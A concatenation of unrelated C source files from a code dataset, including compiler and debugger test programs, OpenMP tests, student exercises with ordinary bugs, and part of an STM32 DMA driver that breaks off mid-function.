// CHECK-NEXT: "valueCategory": "rvalue",
// CHECK-NEXT: "castKind": "IntegralCast",
// CHECK-NEXT: "inner": [
// CHECK-NEXT: {
// CHECK-NEXT: "id": "0x{{.*}}",
// CHECK-NEXT: "kind": "ImplicitCastExpr",
// CHECK-NEXT: "range": {
// CHECK-NEXT: "begin": {
// CHECK-NEXT: "col": 25,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 30
// CHECK-NEXT: },
// CHECK-NEXT: "end": {
// CHECK-NEXT: "col": 25,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 30
// CHECK-NEXT: }
// CHECK-NEXT: },
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "int"
// CHECK-NEXT: },
// CHECK-NEXT: "valueCategory": "rvalue",
// CHECK-NEXT: "castKind": "LValueToRValue",
// CHECK-NEXT: "isPartOfExplicitCast": true,
// CHECK-NEXT: "inner": [
// CHECK-NEXT: {
// CHECK-NEXT: "id": "0x{{.*}}",
// CHECK-NEXT: "kind": "DeclRefExpr",
// CHECK-NEXT: "range": {
// CHECK-NEXT: "begin": {
// CHECK-NEXT: "col": 25,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 30
// CHECK-NEXT: },
// CHECK-NEXT: "end": {
// CHECK-NEXT: "col": 25,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 30
// CHECK-NEXT: }
// CHECK-NEXT: },
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "int"
// CHECK-NEXT: },
// CHECK-NEXT: "valueCategory": "lvalue",
// CHECK-NEXT: "referencedDecl": {
// CHECK-NEXT: "id": "0x{{.*}}",
// CHECK-NEXT: "kind": "ParmVarDecl",
// CHECK-NEXT: "name": "x",
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "int"
// CHECK-NEXT: }
// CHECK-NEXT: }
// CHECK-NEXT: }
// CHECK-NEXT: ]
// CHECK-NEXT: }
// CHECK-NEXT: ]
// CHECK-NEXT: }
// CHECK: "kind": "CStyleCastExpr",
// CHECK-NEXT: "range": {
// CHECK-NEXT: "begin": {
// CHECK-NEXT: "col": 10,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 34
// CHECK-NEXT: },
// CHECK-NEXT: "end": {
// CHECK-NEXT: "col": 23,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 34
// CHECK-NEXT: }
// CHECK-NEXT: },
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "signed char"
// CHECK-NEXT: },
// CHECK-NEXT: "valueCategory": "rvalue",
// CHECK-NEXT: "castKind": "IntegralCast",
// CHECK-NEXT: "inner": [
// CHECK-NEXT: {
// CHECK-NEXT: "id": "0x{{.*}}",
// CHECK-NEXT: "kind": "ImplicitCastExpr",
// CHECK-NEXT: "range": {
// CHECK-NEXT: "begin": {
// CHECK-NEXT: "col": 23,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 34
// CHECK-NEXT: },
// CHECK-NEXT: "end": {
// CHECK-NEXT: "col": 23,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 34
// CHECK-NEXT: }
// CHECK-NEXT: },
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "int"
// CHECK-NEXT: },
// CHECK-NEXT: "valueCategory": "rvalue",
// CHECK-NEXT: "castKind": "LValueToRValue",
// CHECK-NEXT: "isPartOfExplicitCast": true,
// CHECK-NEXT: "inner": [
// CHECK-NEXT: {
// CHECK-NEXT: "id": "0x{{.*}}",
// CHECK-NEXT: "kind": "DeclRefExpr",
// CHECK-NEXT: "range": {
// CHECK-NEXT: "begin": {
// CHECK-NEXT: "col": 23,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 34
// CHECK-NEXT: },
// CHECK-NEXT: "end": {
// CHECK-NEXT: "col": 23,
// CHECK-NEXT: "file": "{{.*}}",
// CHECK-NEXT: "line": 34
// CHECK-NEXT: }
// CHECK-NEXT: },
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "int"
// CHECK-NEXT: },
// CHECK-NEXT: "valueCategory": "lvalue",
// CHECK-NEXT: "referencedDecl": {
// CHECK-NEXT: "id": "0x{{.*}}",
// CHECK-NEXT: "kind": "ParmVarDecl",
// CHECK-NEXT: "name": "x",
// CHECK-NEXT: "type": {
// CHECK-NEXT: "qualType": "int"
// CHECK-NEXT: }
// CHECK-NEXT: }
// CHECK-NEXT: }
// CHECK-NEXT: ]
// CHECK-NEXT: }
// CHECK-NEXT: ]
// CHECK-NEXT: }
|
the_stack_data/29825876.c
|
#include <stdio.h>
#include <string.h>
typedef struct {
FILE* arquivo;
char delimitador;
char* buffer;
int posicao;
int tamBuffer;
} LeitorArquivo;
LeitorArquivo* leitor_novo(char* arquivo, char delimitador, int tamBuffer);
char* leitor_ler1(LeitorArquivo* leitor);
void leitor_ler2(LeitorArquivo* leitor, char* endereco);
int leitor_temMaisToken(LeitorArquivo* leitor);
LeitorArquivo* leitor_novo(char* arquivo, char delimitador, int tamBuffer) {
LeitorArquivo* leitor = (LeitorArquivo*) malloc(sizeof(LeitorArquivo));
if(leitor->arquivo == NULL) printf("Erro ao abrir arquivo");
leitor->arquivo = fopen(arquivo, "r");
leitor->delimitador = delimitador;
leitor->buffer = (char*) calloc(tamBuffer, sizeof(char));
fgets(leitor->buffer, tamBuffer, leitor->arquivo);
leitor->posicao = 0;
leitor->tamBuffer = tamBuffer;
return leitor;
}
char* leitor_ler1(LeitorArquivo* leitor) {
int aux = leitor->posicao, i, j = 0, f;
char* l;
f = leitor_temMaisToken(leitor);
if(f != 0) {
if(f == 1)
while(leitor->buffer[aux] != leitor->delimitador)
aux++;
if(f == 2)
while(leitor->buffer[aux] != '\0')
aux++;
l = (char*) calloc(aux+1, sizeof(char));
for(i = leitor->posicao; i < aux; i++){
l[j] = leitor->buffer[i];
j++;
}
l[i] = '\0';
leitor->posicao = i+1;
if(f == 2){
aumenta_buffer(leitor);
leitor->posicao = 0;
}
}
if(f == 0)
printf("\nAcabou o arquivo");
return l;
}
void leitor_ler2(LeitorArquivo* leitor, char* endereco) {
int aux = leitor->posicao, i, j = 0, f;
f = leitor_temMaisToken(leitor);
if(f != 0) {
if(f == 1)
while(leitor->buffer[aux] != leitor->delimitador)
aux++;
if(f == 2)
while(leitor->buffer[aux] != '\0')
aux++;
for(i = leitor->posicao; i < aux; i++){
endereco[j] = leitor->buffer[i];
j++;
}
endereco[i] = '\0';
leitor->posicao = i+1;
if(f == 2){
aumenta_buffer(leitor);
leitor->posicao = 0;
}
}
if(f == 0)
printf("\nAcabou o arquivo");
}
int leitor_temMaisToken(LeitorArquivo* leitor) {
int i;
for(i = leitor->posicao; i <= leitor->tamBuffer; i++){
if(leitor->buffer[i] == leitor->delimitador){
return 1;
} else if(leitor->buffer[i] == '\0'){
return 2;
}
}
return 0;
}
int aumenta_buffer(LeitorArquivo* leitor){
if(fgets(leitor->buffer, leitor->tamBuffer, leitor->arquivo) != NULL)
return 1;
return 0;
}
void main() {
char o[10];
LeitorArquivo* l = leitor_novo("arquivo.txt", ';', 100);
leitor_ler2(l,o);
printf("%s ", o);
leitor_ler2(l,o);
printf("%s ", o);
leitor_ler2(l,o);
printf("%s ", o);
leitor_ler2(l,o);
printf("%s ", o);
}
|
the_stack_data/34512195.c
|
/* Public domain. */
typedef int SItype __attribute__ ((mode (SI)));
typedef unsigned int USItype __attribute__ ((mode (SI)));
typedef float XFtype __attribute__ ((mode (XF)));
XFtype
__floatunsixf (USItype u)
{
SItype s = (SItype) u;
XFtype r = (XFtype) s;
if (s < 0)
r += (XFtype)2.0 * (XFtype) ((USItype) 1
<< (sizeof (USItype) * __CHAR_BIT__ - 1));
return r;
}
|
the_stack_data/152995.c
|
#include <stdio.h>
#define N 5
int main (void)
{
long int aa=0;
int res = 0;
int ng =6;
int cmom = 4;
int nxyz = 5;
#pragma omp target teams distribute num_teams(nxyz) thread_limit(4) map(tofrom:aa)
for (int gid = 0; gid < nxyz; gid++) {
#pragma omp parallel for collapse(2)
for (unsigned int g = 0; g < ng; g++) {
for (unsigned int l = 0; l < cmom-1; l++) {
int a = 0;
for (int ii = 0; ii < N+2; ii++) {
#pragma omp parallel for reduction(+:a)
for (int i = 0; i < N; i++) {
a += i;
}
}
#pragma omp atomic
aa += a;
}
}
}
long exp = (long)ng*(cmom-1)*nxyz*(N*(N-1)/2)*(N+2);
fprintf (stderr, "The result is = %ld exp:%ld!\n", aa,exp);
if (aa != exp) {
fprintf(stderr, "Failed %ld\n",aa);
return 1;
}
aa = 0;
#pragma omp target teams distribute num_teams(nxyz) thread_limit(4) map(tofrom:aa)
for (int gid = 0; gid < nxyz; gid++) {
for (unsigned int g = 0; g < ng; g++) {
for (unsigned int l = 0; l < cmom-1; l++) {
int a = 0;
for (int ii = 0; ii < N+2; ii++) {
#pragma omp parallel for reduction(+:a)
for (int i = 0; i < N; i++) {
a += i;
}
}
#pragma omp atomic
aa += a;
}
}
}
exp = (long)ng*(cmom-1)*nxyz*(N*(N-1)/2)*(N+2);
fprintf (stderr, "The result is = %ld exp:%ld!\n", aa,exp);
if (aa != exp) {
fprintf(stderr, "Failed %ld\n",aa);
return 1;
}
aa = 0;
#pragma omp target teams distribute num_teams(nxyz) thread_limit(4) map(tofrom:aa)
for (int gid = 0; gid < nxyz; gid++) {
#pragma omp parallel for
for (unsigned int g = 0; g < ng; g++) {
#pragma omp parallel for
for (unsigned int l = 0; l < cmom-1; l++) {
int a = 0;
#pragma omp parallel for
for (int ii = 0; ii < N+2; ii++) {
#pragma omp parallel for reduction(+:a)
for (int i = 0; i < N; i++) {
a += i;
}
}
#pragma omp atomic
aa += a;
}
}
}
exp = (long)ng*(cmom-1)*nxyz*(N*(N-1)/2)*(N+2);
fprintf (stderr, "The result is = %ld exp:%ld!\n", aa,exp);
if (aa != exp) {
fprintf(stderr, "Failed %ld\n",aa);
return 1;
}
aa = 0;
#pragma omp target teams distribute num_teams(nxyz) thread_limit(7) map(tofrom:aa)
for (int gid = 0; gid < nxyz; gid++) {
#pragma omp parallel for collapse(2)
for (unsigned int g = 0; g < ng; g++) {
for (unsigned int l = 0; l < cmom-1; l++) {
int a = 0;
#pragma omp parallel for
for (int ii = 0; ii < N+2; ii++) {
#pragma omp parallel for reduction(+:a)
for (int i = 0; i < N; i++) {
a += i;
}
}
#pragma omp atomic
aa += a;
}
}
}
fprintf (stderr, "The result is = %ld exp:%ld!\n", aa,exp);
if (aa != exp) {
fprintf(stderr, "Failed %ld\n",aa);
return 1;
}
return 0;
}
|
the_stack_data/75137667.c
|
//*****************************************************
//** **
//** By: Christian Seepold, **
//** Thema: Potenzberechnung mit Laufzeiten **
//** Version 1.0 **
//** Datum: 05.11.2018 **
//** Status: ready **
//** **
//*****************************************************
#include <stdio.h>
#include <time.h>
// Darstellung der Zeit
void showtime( void )
{
int i;
for(i=0 ; i<10000000 ; i++);
}
// Normale Berechnung: x^n = x*x^n-1
double potenz_normal( double x , int n )
{
double y=1;
int i;
for(i=0 ; i<n ; i++) {
showtime();
y = y*x;
}
return y;
}
// Berechnung über Divide&Conquer Algorithmus
double potenz( double x , int n )
{
showtime();
double erg;
if(n > 1){
if(n%2 == 0){
erg = potenz(x,n/2); //da n vom Typ int, wird n/2 bei n ungerade gerundet
return erg*erg;
}
else {
erg = potenz(x,n/2); //da n vom Typ int, wird n/2 bei n ungerade gerundet
return erg*erg*x;
}
}
else if(n==1){ //Fall x^1 = x
return x;
}
else if (n==0){ //Fall x^0 = 1
return 1;
}
}
int main(void)
{
//Deklarationen
int n;
float x;
double y;
//clock_t als arithmetischer Datentyp für die CPU-Zeit aus time.h, um die verbrauchte CPU-Zeit seit dem Programmstart zurückzuliefern
clock_t start1, ende1;
clock_t start2, ende2;
//x und n einlesen
printf("Geben Sie x ein: ");
scanf("%e",&x);
printf("Geben Sie n ein: ");
scanf("%d",&n);
printf("\n");
// Zeitberechnung und Ausführung des Divide&Conquer-Algorithmus
start1 = clock();
y = potenz(x,n);
printf("Mit Divide&Conquer: %f^%d = %f \n", x, n, y);
ende1 = clock();
printf("In einer Zeit von: %.2f Sekunden \n\n",((float)(ende1-start1)) / CLOCKS_PER_SEC); //um die CPU-Zeit in Sekunden zu erhalten,muss der Rückgabewert durch CLOCKS_PER_SEC dividiert werden
// Zeitberechnung und Ausführung des normalen Algorithmus
start2 = clock();
y = potenz_normal(x,n);
printf("Mit normaler Berechnung: %f^%d = %f \n", x, n, y);
ende2 = clock();
printf("In einer Zeit von: %.2f Sekunden \n\n",((float)(ende2-start2)) / CLOCKS_PER_SEC);
return 0;
}
|
the_stack_data/15120.c
|
/*
** EPITECH PROJECT, 2020
** my_putchar_program
** File description:
** put a char
*/
#include <stddef.h>
#include <unistd.h>
size_t fd_putchar(const int fd, char const c)
{
return (write(fd, &c, 1));
}
size_t my_putchar(const char c)
{
return (fd_putchar(1, c));
}
|
the_stack_data/32666.c
|
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char * argv[]) {
srand(1);
if(argc != 3) {
printf("Usage: %s <file size> <file name>", argv[0]);
return 0;
}
int size = atoi(argv[1]) * 1024;
int fd = creat(argv[2], 0777);
char buf[1024];
int i = 0;
for(i = 0; i < size; i += 1024) {
for(int j = 0; j < 1024; j += sizeof(int))
*(int *)(&buf[j]) = rand();
write(fd, buf, sizeof(buf));
}
close(fd);
return 0;
}
|
the_stack_data/58177.c
|
#include<stdio.h>
#include<string.h>
char *longer(char *s1, char *s2);
int main(){
char string1[] = "Constantinople";
char string2[] = "Byzantium";
char *result;
result = longer(string1,string2);
printf("String %s is longer. \n",result);
return 0;
}
char *longer(char *s1, char *s2){
int len1,len2;
len1 = strlen(s1);
len2 = strlen(s2);
if(len1 >= len2){
return s1;
}
else{
return s2;
}
}
|
the_stack_data/125141327.c
|
/* Copyright 1999, 2000, 2004, 2007, 2008, 2009, 2010, 2011
Free Software Foundation, Inc.
This file is part of GDB.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>. */
/*
* This simple program that passes different types of arguments
* on function calls. Useful to test printing frames, stepping, etc.
*/
#include <stdio.h>
#include <unistd.h>
int callee4 (void)
{
int A=1;
int B=2;
int C;
C = A + B;
return 0;
}
callee3 (char *strarg)
{
callee4 ();
}
callee2 (int intarg, char *strarg)
{
callee3 (strarg);
}
callee1 (int intarg, char *strarg, double fltarg)
{
callee2 (intarg, strarg);
}
void callme (int i)
{
printf ("callme\n");
}
int return_1 ()
{
return 1;
}
void do_nothing (void)
{
}
main ()
{
callee1 (2, "A string argument.", 3.5);
callee1 (2, "A string argument.", 3.5);
do_nothing (); /* Hello, World! */
callme (1);
callme (2);
return 0;
}
|
the_stack_data/699245.c
|
extern int __mark(int);
int f(int t, int c, int r) {
int x = 0;
while(__mark(23) & __mark(42) & (0 < c)) {
if (0 < t) {
x++;
}
c--;
}
while(__mark(13) & (r > 0)) {
x+=2;
r--;
}
return x;
}
|
the_stack_data/215769408.c
|
/* $OpenBSD: aa.c,v 1.2 2007/08/01 12:53:28 kurt Exp $ */
/*
* Copyright (c) 2007 Kurt Miller <[email protected]>
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#include <err.h>
void *hidden_check = &hidden_check;
__asm(".hidden hidden_check");
extern void *libaa_hidden_val;
void test_aa()
{
libaa_hidden_val = hidden_check;
if (hidden_check != &hidden_check)
errx(1, "libaa: hidden_check != &hidden_check\n");
}
|
the_stack_data/18887638.c
|
int test(int name){
if ( name ) return 0 ; }
|
the_stack_data/243894443.c
|
/* Copyright (C) 2008-2020 Free Software Foundation, Inc.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>. */
#include <stdio.h>
#include <stdlib.h>
extern FILE *force_static_fun (void);
static void *
static_fun (void *arg)
{
return NULL;
}
int
main (int argc, char **argv)
{
static_fun (NULL);
force_static_fun ();
return 0;
}
|
the_stack_data/215768780.c
|
/*
*
*
* This license is set out in https://raw.githubusercontent.com/Broadcom-Network-Switching-Software/OpenBCM/master/Legal/LICENSE file.
*
* Copyright 2007-2020 Broadcom Inc. All rights reserved.
*
* SOC DNXF FABRIC
*/
#ifdef BSL_LOG_MODULE
#error "BSL_LOG_MODULE redefined"
#endif
#define BSL_LOG_MODULE BSL_LS_SOCDNX_FABRIC
#ifdef BCM_DNXF_SUPPORT
#include <shared/bsl.h>
#include <soc/dnxc/error.h>
#include <bcm/fabric.h>
#include <soc/defs.h>
#include <soc/error.h>
#include <bcm/error.h>
#include <soc/dnxf/cmn/dnxf_defs.h>
#include <soc/dnxf/cmn/dnxf_drv.h>
#include <soc/dnxf/cmn/dnxf_fabric.h>
#include <soc/dnxf/cmn/mbcm.h>
#include <soc/dnxf/dnxf_data/auto_generated/dnxf_data_port.h>
#include <bcm_int/control.h>
#endif
#undef BSL_LOG_MODULE
|
the_stack_data/176008.c
|
/**
******************************************************************************
* @file stm32h7xx_ll_dma.c
* @author MCD Application Team
* @brief DMA LL module driver.
******************************************************************************
* @attention
*
* Copyright (c) 2017 STMicroelectronics.
* All rights reserved.
*
* This software is licensed under terms that can be found in the LICENSE file
* in the root directory of this software component.
* If no LICENSE file comes with this software, it is provided AS-IS.
*
******************************************************************************
*/
#if defined(USE_FULL_LL_DRIVER)
/* Includes ------------------------------------------------------------------*/
#include "stm32h7xx_ll_dma.h"
#include "stm32h7xx_ll_bus.h"
#ifdef USE_FULL_ASSERT
#include "stm32_assert.h"
#else
#define assert_param(expr) ((void)0U)
#endif
/** @addtogroup STM32H7xx_LL_Driver
* @{
*/
#if defined (DMA1) || defined (DMA2)
/** @addtogroup DMA_LL
* @{
*/
/* Private types -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
/* Private constants ---------------------------------------------------------*/
/* Private macros ------------------------------------------------------------*/
/** @addtogroup DMA_LL_Private_Macros
* @{
*/
#define IS_LL_DMA_DIRECTION(__VALUE__) (((__VALUE__) == LL_DMA_DIRECTION_PERIPH_TO_MEMORY) || \
((__VALUE__) == LL_DMA_DIRECTION_MEMORY_TO_PERIPH) || \
((__VALUE__) == LL_DMA_DIRECTION_MEMORY_TO_MEMORY))
#define IS_LL_DMA_MODE(__VALUE__) (((__VALUE__) == LL_DMA_MODE_NORMAL) || \
((__VALUE__) == LL_DMA_MODE_CIRCULAR) || \
((__VALUE__) == LL_DMA_MODE_PFCTRL))
#define IS_LL_DMA_PERIPHINCMODE(__VALUE__) (((__VALUE__) == LL_DMA_PERIPH_INCREMENT) || \
((__VALUE__) == LL_DMA_PERIPH_NOINCREMENT))
#define IS_LL_DMA_MEMORYINCMODE(__VALUE__) (((__VALUE__) == LL_DMA_MEMORY_INCREMENT) || \
((__VALUE__) == LL_DMA_MEMORY_NOINCREMENT))
#define IS_LL_DMA_PERIPHDATASIZE(__VALUE__) (((__VALUE__) == LL_DMA_PDATAALIGN_BYTE) || \
((__VALUE__) == LL_DMA_PDATAALIGN_HALFWORD) || \
((__VALUE__) == LL_DMA_PDATAALIGN_WORD))
#define IS_LL_DMA_MEMORYDATASIZE(__VALUE__) (((__VALUE__) == LL_DMA_MDATAALIGN_BYTE) || \
((__VALUE__) == LL_DMA_MDATAALIGN_HALFWORD) || \
((__VALUE__) == LL_DMA_MDATAALIGN_WORD))
#define IS_LL_DMA_NBDATA(__VALUE__) ((__VALUE__) <= 0x0000FFFFU)
#if defined(TIM24)
#define IS_LL_DMA_REQUEST(REQUEST) (((REQUEST) <= LL_DMAMUX1_REQ_TIM24_TRIG))
#elif defined(ADC3)
#define IS_LL_DMA_REQUEST(REQUEST) (((REQUEST) <= LL_DMAMUX1_REQ_ADC3))
#else
#define IS_LL_DMA_REQUEST(REQUEST) (((REQUEST) <= LL_DMAMUX1_REQ_USART10_TX))
#endif /* TIM24 */
#define IS_LL_DMA_PRIORITY(__VALUE__) (((__VALUE__) == LL_DMA_PRIORITY_LOW) || \
((__VALUE__) == LL_DMA_PRIORITY_MEDIUM) || \
((__VALUE__) == LL_DMA_PRIORITY_HIGH) || \
((__VALUE__) == LL_DMA_PRIORITY_VERYHIGH))
#define IS_LL_DMA_ALL_STREAM_INSTANCE(INSTANCE, STREAM) ((((INSTANCE) == DMA1) && \
(((STREAM) == LL_DMA_STREAM_0) || \
((STREAM) == LL_DMA_STREAM_1) || \
((STREAM) == LL_DMA_STREAM_2) || \
((STREAM) == LL_DMA_STREAM_3) || \
((STREAM) == LL_DMA_STREAM_4) || \
((STREAM) == LL_DMA_STREAM_5) || \
((STREAM) == LL_DMA_STREAM_6) || \
((STREAM) == LL_DMA_STREAM_7) || \
((STREAM) == LL_DMA_STREAM_ALL))) || \
(((INSTANCE) == DMA2) && \
(((STREAM) == LL_DMA_STREAM_0) || \
((STREAM) == LL_DMA_STREAM_1) || \
((STREAM) == LL_DMA_STREAM_2) || \
((STREAM) == LL_DMA_STREAM_3) || \
((STREAM) == LL_DMA_STREAM_4) || \
((STREAM) == LL_DMA_STREAM_5) || \
((STREAM) == LL_DMA_STREAM_6) || \
((STREAM) == LL_DMA_STREAM_7) || \
((STREAM) == LL_DMA_STREAM_ALL))))
#define IS_LL_DMA_FIFO_MODE_STATE(STATE) (((STATE) == LL_DMA_FIFOMODE_DISABLE ) || \
((STATE) == LL_DMA_FIFOMODE_ENABLE))
#define IS_LL_DMA_FIFO_THRESHOLD(THRESHOLD) (((THRESHOLD) == LL_DMA_FIFOTHRESHOLD_1_4) || \
((THRESHOLD) == LL_DMA_FIFOTHRESHOLD_1_2) || \
((THRESHOLD) == LL_DMA_FIFOTHRESHOLD_3_4) || \
((THRESHOLD) == LL_DMA_FIFOTHRESHOLD_FULL))
#define IS_LL_DMA_MEMORY_BURST(BURST) (((BURST) == LL_DMA_MBURST_SINGLE) || \
((BURST) == LL_DMA_MBURST_INC4) || \
((BURST) == LL_DMA_MBURST_INC8) || \
((BURST) == LL_DMA_MBURST_INC16))
#define IS_LL_DMA_PERIPHERAL_BURST(BURST) (((BURST) == LL_DMA_PBURST_SINGLE) || \
((BURST) == LL_DMA_PBURST_INC4) || \
((BURST) == LL_DMA_PBURST_INC8) || \
((BURST) == LL_DMA_PBURST_INC16))
/**
* @}
*/
/* Private function prototypes -----------------------------------------------*/
/* Exported functions --------------------------------------------------------*/
/** @addtogroup DMA_LL_Exported_Functions
* @{
*/
/** @addtogroup DMA_LL_EF_Init
* @{
*/
/**
* @brief De-initialize the DMA registers to their default reset values.
* @param DMAx DMAx Instance
* @param Stream This parameter can be one of the following values:
* @arg @ref LL_DMA_STREAM_0
* @arg @ref LL_DMA_STREAM_1
* @arg @ref LL_DMA_STREAM_2
* @arg @ref LL_DMA_STREAM_3
* @arg @ref LL_DMA_STREAM_4
* @arg @ref LL_DMA_STREAM_5
* @arg @ref LL_DMA_STREAM_6
* @arg @ref LL_DMA_STREAM_7
* @arg @ref LL_DMA_STREAM_ALL
* @retval An ErrorStatus enumeration value:
* - SUCCESS: DMA registers are de-initialized
* - ERROR: DMA registers are not de-initialized
*/
uint32_t LL_DMA_DeInit(DMA_TypeDef *DMAx, uint32_t Stream)
{
DMA_Stream_TypeDef *tmp;
ErrorStatus status = SUCCESS;
/* Check the DMA Instance DMAx and Stream parameters */
assert_param(IS_LL_DMA_ALL_STREAM_INSTANCE(DMAx, Stream));
if (Stream == LL_DMA_STREAM_ALL)
{
if (DMAx == DMA1)
{
/* Force reset of DMA clock */
LL_AHB1_GRP1_ForceReset(LL_AHB1_GRP1_PERIPH_DMA1);
/* Release reset of DMA clock */
LL_AHB1_GRP1_ReleaseReset(LL_AHB1_GRP1_PERIPH_DMA1);
}
else if (DMAx == DMA2)
{
/* Force reset of DMA clock */
LL_AHB1_GRP1_ForceReset(LL_AHB1_GRP1_PERIPH_DMA2);
/* Release reset of DMA clock */
LL_AHB1_GRP1_ReleaseReset(LL_AHB1_GRP1_PERIPH_DMA2);
}
else
{
status = ERROR;
}
}
else
{
/* Disable the selected Stream */
LL_DMA_DisableStream(DMAx, Stream);
/* Get the DMA Stream Instance */
tmp = (DMA_Stream_TypeDef *)(__LL_DMA_GET_STREAM_INSTANCE(DMAx, Stream));
/* Reset DMAx_Streamy configuration register */
LL_DMA_WriteReg(tmp, CR, 0U);
/* Reset DMAx_Streamy remaining bytes register */
LL_DMA_WriteReg(tmp, NDTR, 0U);
/* Reset DMAx_Streamy peripheral address register */
LL_DMA_WriteReg(tmp, PAR, 0U);
/* Reset DMAx_Streamy memory address register */
LL_DMA_WriteReg(tmp, M0AR, 0U);
/* Reset DMAx_Streamy memory address register */
LL_DMA_WriteReg(tmp, M1AR, 0U);
/* Reset DMAx_Streamy FIFO control register */
LL_DMA_WriteReg(tmp, FCR, 0x00000021U);
/* Reset Channel register field for DMAx Stream */
LL_DMA_SetPeriphRequest(DMAx, Stream, LL_DMAMUX1_REQ_MEM2MEM);
if (Stream == LL_DMA_STREAM_0)
{
/* Reset the Stream0 pending flags */
DMAx->LIFCR = 0x0000003FU;
}
else if (Stream == LL_DMA_STREAM_1)
{
/* Reset the Stream1 pending flags */
DMAx->LIFCR = 0x00000F40U;
}
else if (Stream == LL_DMA_STREAM_2)
{
/* Reset the Stream2 pending flags */
DMAx->LIFCR = 0x003F0000U;
}
else if (Stream == LL_DMA_STREAM_3)
{
/* Reset the Stream3 pending flags */
DMAx->LIFCR = 0x0F400000U;
}
else if (Stream == LL_DMA_STREAM_4)
{
/* Reset the Stream4 pending flags */
DMAx->HIFCR = 0x0000003FU;
}
else if (Stream == LL_DMA_STREAM_5)
{
/* Reset the Stream5 pending flags */
DMAx->HIFCR = 0x00000F40U;
}
else if (Stream == LL_DMA_STREAM_6)
{
/* Reset the Stream6 pending flags */
DMAx->HIFCR = 0x003F0000U;
}
else if (Stream == LL_DMA_STREAM_7)
{
/* Reset the Stream7 pending flags */
DMAx->HIFCR = 0x0F400000U;
}
else
{
status = ERROR;
}
}
return (uint32_t)status;
}
/**
* @brief Initialize the DMA registers according to the specified parameters in DMA_InitStruct.
* @note To convert DMAx_Streamy Instance to DMAx Instance and Streamy, use helper macros :
* @arg @ref __LL_DMA_GET_INSTANCE
* @arg @ref __LL_DMA_GET_STREAM
* @param DMAx DMAx Instance
* @param Stream This parameter can be one of the following values:
* @arg @ref LL_DMA_STREAM_0
* @arg @ref LL_DMA_STREAM_1
* @arg @ref LL_DMA_STREAM_2
* @arg @ref LL_DMA_STREAM_3
* @arg @ref LL_DMA_STREAM_4
* @arg @ref LL_DMA_STREAM_5
* @arg @ref LL_DMA_STREAM_6
* @arg @ref LL_DMA_STREAM_7
* @param DMA_InitStruct pointer to a @ref LL_DMA_InitTypeDef structure.
* @retval An ErrorStatus enumeration value:
* - SUCCESS: DMA registers are initialized
* - ERROR: Not applicable
*/
uint32_t LL_DMA_Init(DMA_TypeDef *DMAx, uint32_t Stream, LL_DMA_InitTypeDef *DMA_InitStruct)
{
/* Check the DMA Instance DMAx and Stream parameters */
assert_param(IS_LL_DMA_ALL_STREAM_INSTANCE(DMAx, Stream));
/* Check the DMA parameters from DMA_InitStruct */
assert_param(IS_LL_DMA_DIRECTION(DMA_InitStruct->Direction));
assert_param(IS_LL_DMA_MODE(DMA_InitStruct->Mode));
assert_param(IS_LL_DMA_PERIPHINCMODE(DMA_InitStruct->PeriphOrM2MSrcIncMode));
assert_param(IS_LL_DMA_MEMORYINCMODE(DMA_InitStruct->MemoryOrM2MDstIncMode));
assert_param(IS_LL_DMA_PERIPHDATASIZE(DMA_InitStruct->PeriphOrM2MSrcDataSize));
assert_param(IS_LL_DMA_MEMORYDATASIZE(DMA_InitStruct->MemoryOrM2MDstDataSize));
assert_param(IS_LL_DMA_NBDATA(DMA_InitStruct->NbData));
assert_param(IS_LL_DMA_REQUEST(DMA_InitStruct->PeriphRequest));
assert_param(IS_LL_DMA_PRIORITY(DMA_InitStruct->Priority));
assert_param(IS_LL_DMA_FIFO_MODE_STATE(DMA_InitStruct->FIFOMode));
/* Check the memory burst, peripheral burst and FIFO threshold parameters only
when FIFO mode is enabled */
if (DMA_InitStruct->FIFOMode != LL_DMA_FIFOMODE_DISABLE)
{
